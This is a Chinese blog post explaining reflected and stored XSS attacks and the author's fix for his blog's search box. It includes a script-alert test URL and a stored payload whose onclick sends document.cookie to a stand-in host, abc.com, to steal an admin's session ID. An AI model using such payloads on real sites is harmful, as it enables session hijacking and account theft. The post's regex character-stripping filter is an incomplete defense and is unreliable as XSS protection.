如何预防 XSS 攻击

xss.gif

XSS攻击是什么

XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

XSS 攻击分为2种

  • 非持久性的攻击
  • 持久性攻击

非持久性攻击

顾名思义 只影响当前展示页面

大概类似下面这种情况 ========= 比如右侧你可以看到博客的搜索框, 搜索的关键词最后会在页面上方显示出来 如果对这种入户入口输入不做过滤的话,那么这就是一个非持久性攻击入口 =========

http://yijiebuyi.com/so.html?k=%3Cscript%3Ealert%28%27ttt%27%29%3C%2Fscript%3E 上面是我博客的搜索地址,通过 get 传参方式获取 k 的值,最后页面上显示 k 的值.

而上面的url 中,我搜索的是 <script>alert(‘aa’)</script> 如果我对这样的 关键词 不做任何过滤,那么当我把 关键词 插入到 dom 的时候,就相当于把 上面的脚本注入到我的博客页面了. 效果就是 弹出一个很讨厌的框框 ,内容是 aa ========= 大同小异,就是通过参数传脚本来修改dom ,比如修改你的连接地址, 或者 关键词写一段 sql 脚本,当你不做任何过滤去数据库查询的时候,那么你的数据库可能会死的很惨,这就是 sql 注入 =========

持久性攻击

  • 明显不是一次性那么简单 *

持久型xss攻击会把攻击者的数据存储在服务器端,攻击行为将伴随着攻击数据一直存在。下面来看一个利用持久型xss攻击获取session id的实例。

============== session背景知识

我们知道HTTP是一个无状态维持的协议,所有请求/应答都是独立的,其间不保存状态信息。但有些场景下我们需要维护状态信息,例如用户登录完web应用后,再一定时间内,用户再进行登录,应不需要再输入用户名/密码进行鉴权。

这时我们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户创建一个 session ID,同时向游览器传送一个 cookie,cookie保存会话连接中用到的数据,session ID作为会话标识,游览器后续的请求均基于该session ID。

攻击者可以提供一个攻击链接,当用户点击该链接时,向攻击者自己的服务器发送一条保存有用户session ID的信息,这样就可以窃取到用户的session ID,得到用户的执行权限。

首先,攻击者以一个普通用户登录进来,然后在输入框中提交以下数据: <a href=# onclick=\"document.location=\'http://abc.com/xss.php?c=\'+escape\(document.cookie\)\;\">更多</a>

攻击者提交了条带标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 “bangerlee” 的用户列表将显示,如果 admin 用户点击 “更多” 时,在 “abc.com” 所在的服务器上,攻击者就可以窃取到 admin 的session-id:

xss.php?c=SESSID%389sdfasdjsgear6dfsad7o2isdfasdfa

有了该session-id,攻击者在会话有效期内即可获得 admin 用户的权限,并且由于攻击数据已添加入数据库,只要攻击数据未被删除,那么攻击还有可能生效,是持久性的。

当然,不是只有持久型xss攻击才能窃取session ID、用户的cookie信息,用非持久型xss也可以,只要引导用户点击某链接,将 document.cookie 信息传到指定服务器即可,以上仅作为说明持久型xss攻击的举例。

今天看阿里云云盾提示有人在 XSS 攻击我的博客

当然是上面说的第一种,其实我在后端是有过滤的,但是过滤不是特别完整,所以下午稍微做了一点改动

加了一个过滤方法

function replaceKey(keyword){
    var pattern = new RegExp("[%--`~!@#$^&*()=|{}':;',\\[\\].<>/?~!@#¥……&*()——|{}【】‘;:”“'。,、?]");//格式 RegExp("[在中间定义特殊过滤字符]")
    var rs = "";
    for (var i = 0; i < keyword.length; i++) {
        rs = rs+keyword.substr(i, 1).replace(pattern, '');
    }
    return rs;
}

你想过滤什么样的特殊字符就在 RegExp 数组中加上这个字符即可. 然后前面搜索传过来的关键词做一个过滤,然后再去匹配相关博文展示.

出自:如何预防 XSS 攻击



回到顶部